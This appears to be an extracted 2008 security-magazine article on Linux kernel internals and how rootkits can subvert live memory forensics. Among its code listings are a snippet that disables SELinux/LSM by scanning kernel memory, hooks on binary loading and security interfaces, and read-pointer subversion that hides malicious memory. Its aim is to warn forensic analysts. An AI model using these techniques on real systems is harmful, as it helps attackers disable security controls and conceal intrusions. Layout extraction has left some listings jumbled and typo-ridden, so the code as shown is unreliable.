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Since, most of the operating systems have 
the same approach in this regard, most 
examples covered here in Linux can be 

applied to similar situations in other operating 
systems too. 

An overview of the kernel internals and the 
structure and working of x86 architecture will also 
be given, along with the dif ferences between other 
architectures.

Introduction
A lot of tools [5] have been developed to analyze 
a live system in order to detect an intrusion (like 
installed rootkits [7]).

This article tries to explain some presentations 
[8] that showed problems in this existent model, 
explaining the risks of this act and when can it be 
accepted.

Basics
The chosen architecture was Intel x86, where 
the same concepts are applied to other 
architectures as well(major modifications needed 
in architectures without MMU).

To better understand the following sections, 
some basic concepts are needed:

•  CPL0 and it is importance
•  System calls
•  Structures analyzed to memory 

management
•  Hook of functions and information flow
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WHAT YOU WILL 
LEARN...
With this article you will better 
understand how the a computer 
arquitecture works and is closely 
related to the operating systems, 
focusing in subvertion of the 
memory acquisition process.

Internal structures used to 
manage the memory, filesystem 
and others will be explained, 
using as sample the linux 
operating system, but trying to 
be generic enough to give a 
good idea of how it works in any 
platform.

WHAT YOU SHOULD 
KNOW
In order to completely 
understand this article the 
reader must know about the 
Linux Kernel basic programming 
(how to create modules, how 
the basic kernel programming 
works) and also some of 
assembly and C language.

Architecture internals will be well 
explained, but some computer 
science or engineering 
experience is required in order 
to have a real understanding of 
what is going on in the samples.

CPL0 and Its Importance
The Intel architecture has many levels of priority 
and the modern operating systems (Linux/
Windows/MacOS ) are using that separation to 
provide protection and isolation of each process 
(so, a process cannot interfere in the execution 
of another one, neither in the execution of the 
operating system itself).

The operating system is executed in the CPL0 
(also known as kernel-mode or ring0) because, 
in that mode any privileged operation is allowed 
(memory access, hardware management, and 
others).

In this article micro-kernel operating systems 
are being ignored to facilitate the learning 
process. It is important to understand that the 
user applications are running in CPL3 (user-mode 
or ring3).

System Calls
When an usermode software needs some 
privileged resources (for example, read diskdata) 
it executes a system call. This is a software 
interrupt that turns the system into kernelmode, 
executing the system call handler to answer that 
call and then return the control to the usermode 
program.

The way that system calls are handled 
is completely architecture-dependent. The 
common factor is that every implementation 
has similar structures, using dif ferent methods, 
using libraries and other resources. In the 

Difficulty

Kernel Hacking 
& Anti-forensics: 
Evading 
MemoryAnalysis
This article is intended to explain, why a forensic analysis in a 
live system may not be recommended and why the image of that 
system can trigger an advanced anti-forensic-capable rootkit. 



21 HAKIN9 

EVADING MEMORYANALYSIS

5/2008

following we discuss about how this 
works in a x86 architecture (using int 
$0x80 instruction and the new way using 
sysenter). 

We also discuss about, how the 
same can be implemented in the Power 
architecture, just to give a hint of the 
dif ferences.

int $0x80
For better understanding, one needs to 
know that:

•  A tool will execute a high-level 
function which will need a system call 
(for example, a function implemented 
in C to read a file data) – someone 
can implement that directly in 
assembly, so this step will be jumped 
over
•  The C library (in our sample) will 

convert the call in a system call in 
the following way:

•  Will put the system call number in 
the register EAX

•  The parameters are passed using 
the registers EBX, ECX and EDX 
(will use the stack if there is more 
parameters)

•  Will call the int80, which is a software 
interruption responsible to pass the 
control to the kernel-mode (in the 
system call handler)

•  The operating system during the boot 
process will register an interrupt table 
(IDT -interruption description table) 
and the interrupt handlers (functions 
that will be executed when a specific 
interruption is received). In that case, 
the int80 interruption will call the 
handler system _ call. To locate 
where the IDT is in the memory there is 
the instruction sidt

 The system_call handler will verify the 
EAX register and will call the specific 
handler for that system call. This 
handler will be found in a vector called 
sys _ call _ table[EAX] (note: 
EAX value will be used as a index in 
that vector to determine the correct 
function)

•  Next step is a call to the specific 
function to answer the system call

•  Now, the function will execute what is 
needed (for example, copying data 
from user mode using copy _ from _

Listing 1. cat /proc/self/maps

rbranco@rrbranco:~$ cat /proc/self/maps

08048000-0804c000 r-xp 00000000 03:06 652506 /bin/cat

0804c000-0804d000 rw-p 00003000 03:06 652506 /bin/cat

0804d000-0806e000 rw-p   0804d000  00:00 0  [heap]

a7e83000-a7e84000 rw-p   a7e83000  00:00 0

a7e84000-a7fcb000 r-xp 00000000 03:06 736624 /lib/i686/cmov/libc-2.7.so

a7fcb000-a7fcc000 r—p 00147000 03:06 736624 /lib/i686/cmov/libc-2.7.so

a7fcc000-a7fce000 rw-p 00148000 03:06 736624 /lib/i686/cmov/libc-2.7.so

a7fce000-a7fd1000 rw-p   a7fce000  00:00 0

a7fe2000-a7fe4000 rw-p   a7fe2000  00:00 0

a7fe4000-a8000000 r-xp 00000000 03:06 734302 /lib/ld-2.7.so

a8000000-a8002000 rw-p 0001b000 03:06 734302 /lib/ld-2.7.so

affeb000-b0000000 rw-p   affeb000  00:00 0  [stack]

ffffe000-fffff000  p   00000000  00:00 0  [vdso]

Listing 2. ldd /bin/bash

rbranco@rrbranco:~$ ldd /bin/bash

 linux-gate.so.1 =>  (0xffffe000)

 libncurses.so.5 => /lib/libncurses.so.5 (0xa7f90000) 

 libdl.so.2 => /lib/i686/cmov/libdl.so.2 (0xa7f8c000) 

 libc.so.6 => /lib/i686/cmov/libc.so.6 (0xa7e3e000) 

 /lib/ld-linux.so.2 (0xa7fe4000)

Listing 3. vsyscall memory dump

rbranco@rrbranco:~$ dd if=/proc/self/mem of=rrbranco.dso bs=4096 skip=1048574 count=1 
1+0 records in 
1+0 records out 
4096 bytes (4.1 kB) copied, 5e-05 seconds, 82 MB/s

rbranco@rrbranco:~$ objdump -d —start-address=0xffffe400 —stop-address=0xffffe414

rrbranco.dso rrbranco.dso:     file format elf32-i386 

Disassembly of section .text:

ffffe400 <__kernel_vsyscall>:

ffffe400: 51 push   %ecx  -> Save %ecx in the stack
ffffe401: 52 push   %edx  -> Save %edx in the stack

ffffe402: 55 push   %ebp  -> Save %ebp in the stack

ffffe403: 89 e5  mov    %esp,%ebp  -> Save the %esp content in %ebp, permiting the 

user-mo

ffffe405: 0f 34  sysenter  -> Execute the sysenter instruction

ffffe407: 90 nop

ffffe408: 90 nop

ffffe409: 90 nop

ffffe40a: 90 nop

ffffe40b: 90 nop

ffffe40c: 90 nop

ffffe40d: 90 nop

ffffe40e: eb f3  jmp    ffffe403 <  kernel_vsyscall+0x3>

ffffe410: 5d pop    %ebp

ffffe411: 5a pop    %edx

ffffe412: 59 pop    %ecx

ffffe413: c3 ret

Listing 4. Anchored address

. = 0xc00    —> The anchored address 

SystemCall: 

EXCEPTION_PROLOG 

EXC_XFER_EE_LITE(0xc00, DoSyscall)
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user() or to the user mode using 
copy _ to _ user()) and then will 
return the control to the application 
(There are some complications, like 
non-blocking system calls and others 
that will be ignored here)

vsyscalls (sysenter)
The Intel documentation (IA-32 Intel 
Architecture Software Developer’s 
Manual, Volume 2: Instruction Set 
Reference) gives emphasis in the fact 
that instruction, together with sysexit , 
which has been created to optimize the 
transfer to the kernel-mode (and the 
return af ter that).

A lot of configuration values are set 
by the operating system in the MSRs 
(model-specific registers) for the sysenter 
instruction:

 -CS (SYSENTER_CS_MSR) -EIP 

   (SYSEN-TER_EIP_MSR -SS 

   (SYSENTER_CS_MSR + 8) -ESP 

(SYSENTER_ESP_MSR

The sysexit instruction will transfer the 
control back to user-mode and defines the 
following registers: 

-CS (SYSENTER_CS_MSR) -EIP 

   (points to the value stored in EDX)

   -SS (SY-SENTER_CS_MSR + 24) -ESP

   (points to the value stored in ECX)

These MSRs are read and write with 
RDMSR and WRMSR instructions 
respectively, and are defined as: 

 #define MSR_IA32_SYSENTER_CS 0x174 

 #define MSR_IA32_SYSENTER_ESP 0x175 

 #define MSR_IA32_SYSENTER_EIP 0x176

(In Linux it is defined in: asmmsr.h)

Linux kernel defines the TSS (Task State 
Segment ) for the use of instructions in-out 
in the usermode (bitmap permissions 
check) and in the Intel architecture to pass 
from usermode to kernelmode the stack 
to be used by the kernelmode must be 
known.

So, Linux defines (in: archi386kernel
sysenter.c):

wrmsr(MSR_IA32_SYSENTER_CS, __KER-NEL_

CS, 0); > 

Listing 5. cat /proc/self/map

$ cat /proc/self/maps

08048000-0804c000 r-xp 00000000 03:06 652506 /bin/cat

0804c000-0804d000 rw-p 00003000 03:06 652506 /bin/cat

0804d000-0806e000 rw-p 0804d000 00:00 0 [heap]

a7ea6000-a7ea7000 rw-p a7ea6000 00:00 0

a7ea7000-a7fce000 r-xp 00000000 03:06 700482 /lib/tls/i686/cmov/libc-

2.3.6.so

a7fce000-a7fd3000 r—p 00127000 03:06 700482 /lib/tls/i686/cmov/libc-2.3.6.so

a7fd3000-a7fd5000 rw-p 0012c000 03:06 700482 /lib/tls/i686/cmov/libc-

2.3.6.so

a7fd5000-a7fd8000 rw-p a7fd5000 00:00 0

a7fe9000-a7feb000 rw-p a7fe9000 00:00 0

a7feb000-a8000000 r-xp 00000000 03:06 733005 /lib/ld-2.3.6.so

a8000000-a8002000 rw-p 00014000 03:06 733005 /lib/ld-2.3.6.so

affeb000-b0000000 rw-p affeb000 00:00 0 [stack]

ffffe000-fffff000  p 00000000 00:00 0 [vdso]

Listing 6. vm_area_struct

struct vm_area_struct {
struct mm_struct * vm_mm;        /* The address space we belong to.  */

unsigned long vm_start;          /* Our start 
address within vm_mm. */
unsigned long vm_end;   /* The first byte 
after our end address within vm_mm. */

/* linked list of VM areas per task, sorted by address */

struct vm_area_struct *vm_next;

pgprot_t vm_page_prot;   /* Access permissions of this VMA. */

unsigned long vm_flags;          /* Flags, listed below. */ 

}

Listing 7. Change memory permission

static int change_perm(unsigned *addr) 
{

 struct page *pg;
 pgprot t_prot;

 

 pg = virt_to_page(addr);

 prot.pgprot = VM_READ | VM_WRITE | VM_EXEC;  /* R-W-X */

 

 change_page_attr(pg, 1, prot); 

 global_flush_tlb() ;

 

 return 0; 
}

Listing 8. Execute code from kernel-mode

static int execute(const char *string)
{

    if ((ret = call_usermodehelper(argv[0], argv, envp, 1)) != 0) {

 printk(KERN_ERR "Failed to run "%s": %i\n", string, ret); 

    }

    return ret;

}
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Pointing to the kernel segment 
wrmsr(MSR _ IA32 _ SYSENTER _ ESP, 

tss->esp1, 0); > Pointing to the kernel 
memory

wrmsr(MSR _ IA32 _ SYSENTER _ EIP, 
(unsigned long) sysenter _ entry, 0); 

> Pointing to the page defined as entry 
point to sysenter.

In fact, when a sysenter instruction 
is received, the system will start to use 
the kernel stack and to execute the 
sysenter _ entry function.

This page must be attached to 
the address space of all process in 
the system and Linux does that (In: 
archi386kernelvsyscall-sysenter.S), 
using a VDSO (Virtual Dynamic Shared 
Object ).

To verify that in a system see Listing 1. 
In applications where shared libraries are 
used, the ldd command can also be used, 
see Listing 2.

To dump that memory area in order to 
verify what is in it, see Listing 3.

The sysenter _ entry (defined in: 
archi386kernelentry.S) will work in 
the same way as the system _ call 
handler showed before. Using the 
%eax value as an index for the sys _

call _ table , who holds the handlers 
addresses.

Power Architecture
In a Power architecture there is no IDT 
structure containing the interruption 
handlers addresses in memory. Instead, 
there are anchored interruptions to fixed 
address, or in other words, when an 
interruption occurs, the control will be 
automagically transferred to a specific 
memory location. 

Note that, for example, time 
interruptions will go to the address 
0x900 as can be seen in the Linux 
Kernel in arch/ppc/kernel/head.S: 
EXCEPTION(0x900, Decrementer, 
timer _ interrupt, EXC _ XFER _

LITE) where the decrementer is 
defined (in Power architectures the 
timer decrementer has the same clock 
speed as the processor, since it is 
internal in the processor), and other 
external interruptions are anchored to 
the address 0x500, and are answered 
in a similar way as the IDT in the Intel 
architecture.

Listing 9. Creating socket from kernelmode

/* create a socket */

if ( (err = sock_create(AF_INET, SOCK_DGRAM, IPPROTO_UDP, &kthread->sock)) < 0) {

    printk(KERN_INFO MODULE_NAME": Could not create a datagram socket, error = %d\n", 

-ENXIO); 

    

    goto out; 
}

if ( (err = kthread->sock->ops->bind(kthread->sock, (struct sockaddr *)&kthread->addr, 
sizeof(struct sockaddr))) < 0) {

 printk(KERN_INFO MODULE_NAME": Could not bind or connect to socket, error = %d\n", 

-err);

 goto close_and_out;
}

/*main loop */ 

for (;;) {
 memset(&buf, 0, bufsize+1);

 size = ksocket receive(kthread->sock, &kthread->addr, buf, bufsize);

}

Listing 10. LSM module

int myinode_rename(struct inode *old_dir, struct dentry *old_dentry, struct inode 
*new_dir, struct dentry *new_dentry) 

{ 

 printk("\n dumb rename \n");

 return 0;
}

static struct security_operations my_security_ops = {
.inode_rename = myinode_rename;

};

register_security (&my_security_ops);

Listing 11. Load_binary interface

int _load_binary (struct linux_binprm *linux_binprm, struct pt_regs *regs) {
 …

 // The regs parameter is not used by the md5verify for example

}

_elf_format = current->binfmt;

_elf_format->load_binary=&_load_binary;

Listing 12. LSM interfaces

int my_bprm_set_security (struct linux_binprm *bprm)
{

 return 0; 
}

static struct security_operations my_security_ops = {
.bprm_set_security = my_bprm_set_security;

};

register_security (&my_security_ops);
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The system call handlers are defined in 
arch/ppc/kernel/head.S as you can see in 
the Listing 4.

Structures Analyzed to 
Memory Management
Another important thing to be understood 
is the memory management process in 
Operating Systems. This article will only 
show what is needed for the scope.

In the Intel Architecture we have 
4KB pages (actually, it may be more, 
depending of the system, but it is not 
important in this discussion). For a 
process, the memory is seen as a 

linear address, from 0 to 4GB (in 32 bits 
architectures).

All memory pages of a process are 
translated to physical pages using a page 
table specific for each process. There is 
also other information in that structure, like 
the page protection attributes (read-only, 
executable, writable).

That attributes could be easily modified 
if there is access to the operating system 
core.

A visible memory for the process 
are divided in two big portions, using 
a constant TASK _ SIZE (default as 
0xc000000) to define the biggest 

address to be used (af ter that is the 
kernel protected memory). It is important 
to note that the kernel addresses are 
always the same for every process in the 
system.

The process memory itself is divided 
into sections (VMAs), which have protection 
attributes, for example: (see [9] for 
clarifications)

•  .text > executable code
•  .rodata > read-only data
•  .data > writable data

To see that in a system, verify Listing 5.

Listing 13. Controlling the system

// no audit support

 if (p >= (p2 + (16 * 1024 * 1024)) || memcmp(p, "audit_
rate_limit=%d old=%d by auid=%u 

subj=%s", len))

  return 0;

 straddr = (unsigned int)p;
 p = p2;

 while (p < (p2 + (16 * 1024 * 1024)) && (* ((unsigned int 
*)p) != straddr))

  p++;

 if (p >= (p2 + (16 * 1024 * 1024)) || *((unsigned int *)p) 
!= straddr) 

  return 0;

/* got string reference, now find call */ 

 while (p > p2 && (*p != '\xe8' || ((*((int *)(p+1)) 
+ (unsigned int)(p+5)) < (unsigned 
int)p2) || ((*((int *)(p+1)) + (unsigned 
int)(p+5)) > (unsigned int)(p2 + (16 * 
1024 * 1024)))))

  p—;

/* didn't find call, error */ 

 if (p <= p2) 
  return 0;

/* convert relative address to target address */

 p = (char *) (* ( (int *) (p+1) ) + (unsigned int) (p+5) ) 
;

 return (unsigned int)p;
}

void disable_selinux(void) 
{

 char *unreg sec, *p;
 unsigned int *security_ops = NULL;

 unsigned int dummy_secops = 0;
 unsigned int *selinux_enable = 
NULL;

unsigned int find_unregister_security(void)
{

 char *p, *p2;
 int len = strlen("<6>%s: trying to unregister a");
 unsigned int straddr;

 p2 = p = (char *)0xc0100000;

 while (p < (p2 + (16 * 1024 * 1024)) && memcmp(p, "<6>%s: 

trying to unregister a", len))

  p++;

 // no LSM support

 if (p >= (p2 + (16 * 1024 * 1024)) || memcmp(p, "<6>%s: 
trying to unregister a", len)) 

  return 0;

 straddr = (unsigned int)p;
 P = p2;

 while (p < (p2 + (16 * 1024 * 1024)) && (*((unsigned int 
*)p) != straddr))

  p++;

 if (*( (unsigned int *)p) == straddr)
  return (unsigned int)p;
 else
  return 0;

}

/* find string, then find the reference to it, then work 

backwards to find a relative call to 

selinux ctxid to string */

unsigned int find_selinux_ctxid_to_string(void)
{

 char *p, *p2;
 int len = strlen("audit_rate_limit=%d old=%d by auid=%u 

subj=%s");

 unsigned int straddr;
 p2 = p = (char *)0xc0100000;
 while (p < (p2 + (16 * 1024 * 1024)) && memcmp(p, 

"audit_rate_limit=%d old=%d by auid=%u 

subj=%s", len))

  p++;
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The VMAs are internally controlled in a 
linked list to provide memory management for 
a process (including the permissions cited).

The structure has this format (removing 
unimportant elements for our discussion) 
– see Listing 6.

So, to change a protection someone 
can use the following privileged code 
(Listing 7).

Doing that, an attacker could, for 
example, modify some memory areas in 
a way it cannot be read, and if so, a page 
fault be generated (it is an easy way to 
monitor for memory dumps).

Handling Page-faults
To handle a page fault someone has to 
intercept the function (defined in: arch/
i386/mm/fault.c) void do _ page _

fault(struct pt _ regs *regs, 

unsigned long error _ code) and knows:

•  Get the accessed address that caused 
the page fault in cr2

•  Get the address of the tool that caused 
the page fault in regs>eip

•  Verify if someone is trying to read our 
protected area and are not from the 
rootkit address space

Hook of Functions 
and Information Flow
One of the main principles showed in this 
article are related to the hook of functions 
used by the security software (including 
forensics ones that will dump the system 
memory).

These hooks will permit total control over 
the returned values to this software, also the 
identification of those tools and, the starting 
of specific routines to clear all the evidences 
of an attack if the system is been audited.

This is possible because:

•  We are assuming here that the attacker 
has complete access to the system 
(including privileges to modify the 
kernel). Just with user-mode access 
an attacker can get most of the results 
showed here, but we are assuming 
kernel-level privilege anyway

•  The article is assuming that the 
forensic process, the dump or analysis 
of the system memory has been done 
using the original system (including 
the attacker modifications). That is the 

main point of this article: Showing that 
it is really dangerous to execute any 
procedures with the original system 
(online), including a simple memory 
dump.

•  Anything running in the privileged mode 
(CPL0) will have total control over the 
system, and therefore will have the 
power to modify any attribute in the 
address space, including the handlers 
responsible by many functions of the 
Operating System. As already showed 

in [10] exception handlers are easy to 
be hooked, as in [11] one can know how 
to intercept interruptions.

Resources Provided by the 
Operating System Kernel
The Operating System Kernel has a lot of 
dif ferent resources that can be used in 
benefit of an attacker.

When someone is thinking about 
an anti-forensics system, it is really 
important to consider the knowledge level 

Listing 14. Signature of functions

000000c5 <do_gettimeofday>:

  c5: 55   push %ebp

  c6: 57   push %edi

  c7: 56   push %esi

  c8: 53   push %ebx

  c9: 8b 7c 24 14  mov 0x14(%esp) , %edi

  cd: 8b 35 00 00 00 00   mov 0x0,%esi

  d3: a1 00 00 00 00      mov 0x0,%eax

  d8: ff 50 08   call *0x8(%eax)

  db: 89 c1   mov %eax,%ecx

  dd: a1 00 00 00 00      mov 0x0,%eax

  e2: 2b 05 00 00 00 00   sub 0x0,%eax

  e8: 83 3d 00 00 00 00 00  cmpl $0x0,0x0

  ef: 79 19   jns 10a <do_gettimeofday+0x45>

  f1: ba e8 03 00 00      mov $0x3e8,%edx

  f6: 2b 15 00 00 00 00   sub 0x0,%edx

  fc: 39 d1   cmp %edx,%ecx

  fe: 0f 47    ca cmova %edx,%ecx

 101: 85 c0   test %eax,%eax

 103: 74 11   je 116 <do_gettimeofday+0x51>

 105: 0f af c2   imul %edx,%eax

 108: eb 0a   jmp 114 <do_gettimeofday+0x4f>

 10a: 85 c0   test %eax,%eax

 10c: 74 08   je 116 <do_gettimeofday+0x51>

 10e: 69 c0 e8 03 00 00   imul $0x3e8,%eax,%eax

 114: 01 c1   add %eax,%ecx

 116: a1 04 00 00 00      mov 0x4,%eax

 11b: ba e8 03 00 00      mov $0x3e8,%edx

 120: 89 d5   mov %edx,%ebp

 122: 8b 1d 00 00 00 00   mov 0x0,%ebx

 128: 99   cltd

 129: f7 fd   idiv %ebp

 12b: 8d 14 01   lea (%ecx,%eax,1),%edx

 12e: 89 f0   mov %esi,%eax

 130: 33 35 00 00 00 00   xor 0x0,%esi

 136: 83 e0 01   and $0x1,%eax

 139: 09 f0   or %esi,%eax

 13b: 74 09   je 146 <do_gettimeofday+0x81>

 13d: eb 8e   jmp cd <do_gettimeofday+0x8>

 13f: 81 ea 40 42 0f 00   sub $0xf4240,%edx

 145: 43   inc %ebx

 146: 81 fa 3f 42 0f 00   cmp $0xf423f,%edx

 14c: 77 f1   ja 13f <do_gettimeofday+0x7a>

 14e: 89 1f   mov %ebx,(%edi)

 150: 89 57 04   mov %edx,0x4(%edi)

 153: 5b   pop %ebx

 154: 5e   pop %esi

 155: 5f   pop %edi

 156: 5d   pop %ebp

 157: c3   ret
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of the attacker (if the system have been 
compromised using a 0day attack or a 
publicly know vulnerability + exploit) and 
how deep the system compromise is.

Here, I will show some things that 
are provided by the operating system 
which will help the attacker. Command 
execution inside the kernel-mode – Listing 

8 (call_usermodehelper replaces the 
exec_usermodehelper showed in the phrack 
article [25]). You can see the socket creation 
procedure in Listing 9 (see also [26] for a 
complete UDP Client/Server in kernel mode).

Using Security 
Features to Subvert 
the Operating System
As already released by the author in 
[12], the security resources used by the 
Operating Systems with the intention of 
provide extensibility to the implementation 
can also be used by malicious code.

For example, let's take the Linux 
Framework LSM (Linux Security Modules ) 
[13], which offers a lot of structures to 
permit an easy control of some tasks in the 
Operating System. One fragment of a LSM 
module is following in the Listing 10.

At the first spot we can see it is really 
used by a rootkit. As showed in [12] someone 
can also intercept the command execution 
in the system (used by many tools, like 
md5verify [14])- Listing 11. As explained in [15] 
the intention of this interception is to control 
the binary execution, granting the integrity of 
those binaries. The same code can be used 
by an attacker to control the execution of 
some softwares.

The security interfaces provided by the 
LSM also provides in a generic way this 
kind of control of every executable binary in 
the system – Listing 12.

Attacking security systems
It is already widely known that if a kernel-
mode flaw exists, all security resources 
can be disabled [16] giving total control 
over the system – Listing 13.

In that code, there is a pattern in the 
security subsystem that can be easily 
located, as the messages used by the 
system are in plain text in the memory 
(a good approach could be cipher this 
messages with a session key [17]).

The idea of that code was just show it 
is possible, not do everything that can be 
done. As can be seen, all security modules 
have been disabled in runtime just pointing 
the security _ ops structure to the 
dummy _ secops. An attacker can also 
redirect all LSM (Linux security modules) to 
his own structure, permitting an installation 
of a rootkit together with the exploration of 
the system, in a simple and clean way.
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Hooking 
Non-exported Functions
Many portions of an Operating System 
can be modified by an attacker to permit 
control over it. Most current public rootkits 
are using well-documented techniques and 
are hooking exported interfaces.

In the real world, when someone has 
kernel access it is possible to manipulate 
anything in order to grant access to the 
system.

Memory code analysis can be seen 
in more advanced attacks, where it is 
required to deactivate security systems 
in kernel before the privilege elevation of 
some application [16] [18].

There are many ways for a malicious 
code to continuously run inside the kernel. 
One can just create some kernel threads 
as showed, or just understand the attacked 
system.

For example, imagine a database 
executing in a compromised system. 
It will call the gettimeofday system call 
multiple times, to grant the timestamp 

of the operations. An arbitrary code 
that intercepts this function (do _

gettimeofday()) will be executed many 
times in this system:

# objdump d arch/i386/kernel/
time.o time.o: file format elf32i386

Disassembly of section text can be 
seen in Listing 14.

This kind of technique are being 
instrumented [19] and used [20], showing 
it can be effective and applied between 
dif ferent versions of the operating system, 
using signatures of functions not widely 
modified or constant portions of those 
functions.

Blocking Devices 
(Read of Memory and Disk)
We all know that most tools used to dump 
memory and disk runs as user-mode 
applications.

All the ideas shown in this article 
could be easily used to conclude that 
a code running inside the kernel can 
intercept many dif ferent functions to control 

Listing15. Struct file_operations

struct file_operations {

 struct module *owner;
 loff_t (*llseek) (struct file *, loff_t, int);
 ssize_t (*read) (struct file *, char __user *, size_t, loff_t *) ;
 ssize_t (*aio_read) (struct kiocb *, char __user *, size_t, loff_t);
 ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *) ;
 ssize_t (*aio_write) (struct kiocb *, const char __user *, size_t, loff_t);
 int (*readdir) (struct file *, void *, filldir_t);
 unsigned int (*poll) (struct file *, struct poll_table_struct *);
 int (*ioctl)  (struct inode *, struct file *, unsigned int, unsigned long);
 long (*unlocked _ioctl) (struct file *, unsigned int, unsigned long);
 long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
 int (*mmap) (struct file *, struct vm_area_struct *);
 int (*open) (struct inode *, struct file *);
 int (*flush) (struct file *);
 int (*release) (struct inode *, struct file *);
 int (*fsync) (struct file *, struct dentry *, int datasync);
 int (*aio_fsync) (struct kiocb *, int datasync);
 int (*fasync) (int, struct file *, int);
 int (*lock) (struct file *, int, struct file_lock *);
 ssize_t (*readv) (struct file *, const struct iovec *, unsigned long, loff 

t *);

 ssize_t (*writev) (struct file *, const struct iovec *, unsigned long, loff 
t *);

 ssize_t (*sendfile) (struct file *, loff_t *, size_t, read_actor_t, void *); 
 ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
 unsigned long (*get_unmapped_area) (struct file *, unsigned long, unsigned long, 

unsigned long, unsigned long);
 int (*check_flags) (int);
 int (*dir_notify) (struct file *filp, unsigned long arg); 
 int (*flock) (struct file *, int, struct file_lock *);

};
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reads in devices, or to subvert the read 
values. A rootkit with real anti-forensics 
capabilities canremove all evidences when 
detecting an analysis is being done on a 
compromised system, making the work of 
the auditor harder.

Let's analyze how the system reads a 
device (if it is the memory, we are talking 
about the /dev/{k}mem device and if 
it’s the disk we are talking about the block 
devices, for example /dev/hda).

The entry point used in this case is the 
system call sys _ read (defined in fs/
read _ write.c). It is also needed for the 
rootkit to control the mmap of these devices. 

In this case the function fget _ light 
(defined in fs/file _ table.c) returns the 
file structure of the descriptor (defined in 
include/linux/fs.h). And the function 
file _ pos _ read (defined in fs/read _

write.c) will return the specific position, 
which can be manipulated, forcing the 
read of a dif ferent position and thus, 

protecting the malicious code. The file 
structure showed here has been resumed 
to just two elements of interest, as 
demonstrated, the f _ pos is the position 
to be read.

The second element is a pointer to 
a structure file_operations (defined in 
include/linux/fs.h), Listing 15.

This structure is used by the function 
vfs_read (defined in fs/read _ write.c), 
Listing16.

The code contains: if (file>f _

op>read)
Basically, what is going is that the 

function vfs _ read is a wrapper to the 
specific implemented function, which can 
be manipulated subverting the pointer in 
the structure file _ operations of the 
protected device (protected by the rootkit). 
This is a real-time change, so it is really 
dif ficult to detect. There is more elements in 
that structure that can be manipulated, for 
example, the mmap.

Online Memory Dump
When an auditor has a completely hostile 
environment, (for example, when the 
audited machine is owned by a criminal) 
it is well known that the memory of the 
system can be really important (mainly 
because there is lots of encrypted 
filesystems [21] [22] [23]).

In these cases, it is really important to 
consider if we can shutdown the machine and 
recovery the RAM contents by other ways [24].

Care must be taken in those situations 
[?]: We can also consider making a dump 
of each process, as does the software 
Process Dumper developed by Ilo [7]. 
Furthermore, it provides the feature to 
execute a saved process again.

Process Dumper attaches itself to a 
process with the system call ptrace and 
dumps the segments PT_LOAD of an 
executable in memory (more precisely, the 
code and data sections). Then, it makes 
some modifications of the GOT table if we 
want to run dynamically compiled binary.

In this case, the rootkit could detect the 
ptrace in an evil process and easily detect 
the forensic analysis.

Conclusion
Rootkits are evolving. They utilize many new 
techniques and and insert code in many 
dif ferent portions of the system, including 
hardware features [4] [3] [2] [1].

Listing 16. vfs_read

ssize_t vfs_read(struct file *file, char user *buf, size_t count, loff_t *pos)
{

 ssize_t ret;

 if ( !(file->f_mode & FMODE_READ))
  return -EBADF;

 if (!file->f_op || (!file->f_op->read && !file->f_op->aio_read))
  return -EINVAL;

 if (unlikely(!access_ok(VERIFY_WRITE, buf, count)))
  return -EFAULT;

 ret = rw_verify_area (READ, file, pos, count);

 if (ret >= 0) 
 { 

  count = ret;

  ret = security_file_permission (file, MAY_READ);

  if (!ret) 
  {

   if (file->f_op->read)
    ret = file->f_op->read(file, buf, count, pos);

   else
    ret = do_sync_read(file, buf, count, pos);

   if (ret > 0) 
   {

    fsnotify_access(file->f_dentry);

    current->rchar += ret;

   }

   current->syscr++;

  }

 }

 return ret; 
}
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